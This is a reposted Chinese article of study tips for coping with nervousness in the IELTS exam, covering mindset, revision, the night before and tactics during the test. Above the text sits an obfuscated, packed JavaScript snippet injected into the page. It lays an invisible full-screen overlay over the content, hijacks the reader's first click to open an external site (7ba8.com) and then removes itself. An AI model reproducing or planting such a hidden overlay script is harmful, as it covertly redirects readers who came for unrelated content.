【转】经典回忆:如何克服雅思考试 之 紧张综合症

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>转自 钱波老师

无论多么深的悲哀和痛苦,日久也会淡忘的。
忘记,本就是人类所以能生存的本能之一。
无论谁要改变自己的命运,都只有靠自己。’
怯场,人皆有之,乃心理素质优劣所致
每每与学员交谈时,涉及此点
若君经过了风浪,自然稳如泰山
历练多了,也就老练起来
别无灵丹妙药可治
如若真有仙丹,唯有‘信念’二字真经!
下面罗列出一些心得,老生常谈
1. 总论:
充满信心,视之为一次学习反馈的良机
努力找出自己考试紧张的历史根源,也许可上溯到初高中时期
调整心态,戒骄戒躁
期望越高,失望越大
雅思成绩高低并不意味着你将来的学习工作一定会成功或失败
雅思成绩好坏并不意味着你将来的英语水平也一直如此
失败过一次并不意味着你下一次还会失败
失败乃成功之母
自卑情绪是紧张根结之一
最大的敌人和阻碍就是自己
攻克己身,谈何容易?
皆因江山易改,本性难移
只有痛定思痛,反思自察
2. 复习:
有备而战!知己知彼
复习要有针对性,讲效率,尤其是自己出错的地方
平时加强有限时间下的训练,严格按照考试规定时间,尤其是阅读和写作
若对作文题常感困惑,应平时加强扩展自己的生活常识和时局把握
向老师或有经验烤鸭前辈咨询
根据你的理解和知识的掌握
做出客观的评价和指导

3. 临考:
临考前一周要放松,劳逸结合
考试前夜睡个好觉
考前要预留出充足的时间,以确保早一点到达考场
不要指望考前一分种的复习,临阵磨枪,无济于事,一口吃不成胖子
不要饿着肚子进考场,少喝水,上午听读写不许出考场
随身带高热量营养品如巧克力,可以解饥,甚至解脱紧张
4. 现场:
仔细阅读各项说明,即认真审题
改变坐姿,以使自己放松
如果遇到难题,避开它,继续做下一题, 学会迂回
当监考官喊交卷时,不必惊慌,更不要继续写,视同作弊
‘一个人若只为了片刻的欢乐才活着,这悲痛又是多么深邃。
世上虽没有永恒的黑暗,却也没有永恒的光明,
所以人间总有着很多悲惨的故事,
产生了许多许多哀艳的诗赋,凄凉的歌曲。’
有‘知趣’论到:
山中学府地
进退不由己
敢问谁是客
主人笑不语
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